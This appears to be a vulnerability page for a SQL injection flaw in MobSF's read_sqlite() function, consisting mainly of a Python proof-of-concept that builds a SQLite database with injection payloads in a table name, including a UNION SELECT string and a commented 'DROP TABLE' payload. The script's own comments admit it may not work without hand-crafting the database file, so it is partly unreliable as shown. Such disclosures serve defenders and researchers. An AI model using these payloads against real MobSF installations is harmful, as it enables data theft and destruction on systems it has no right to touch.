CVE-2026-33545 MobSF SQL注入漏洞

import sqlite3 # PoC: Create a malicious SQLite database to trigger SQL Injection in MobSF < 4.4.6 # The vulnerability exists in read_sqlite() where table names from sqlite_master # are interpolated into a SQL query using string formatting (%s). def create_malicious_db(): conn = sqlite3.connect('malicious_mobsf.db') cursor = conn.cursor() # Attacker attempts to create a table with a payload as the name. # Note: SQLite imposes strict limits on table names, but an attacker # might manipulate the DB file binary or use specific techniques to # achieve a name that breaks out of the query context in MobSF. # Example payload intended for the query: SELECT * FROM %s # Payload: 'non_existent_table; DROP TABLE test--' malicious_payload = "test) UNION SELECT 1,2,3--" try: # Standard creation might fail due to syntax, but the concept is injecting # this string into the query context. # In a real exploit, the attacker crafts the sqlite_master entry. query = f"CREATE TABLE '{malicious_payload}' (data TEXT)" cursor.execute(query) conn.commit() print(f"[+] Created database with potentially malicious table name structure.") except Exception as e: print(f"[-] Standard creation blocked by SQLite: {e}") print("[!] Exploit requires crafting the DB binary or specific manipulation.") conn.close() if __name__ == "__main__": create_malicious_db()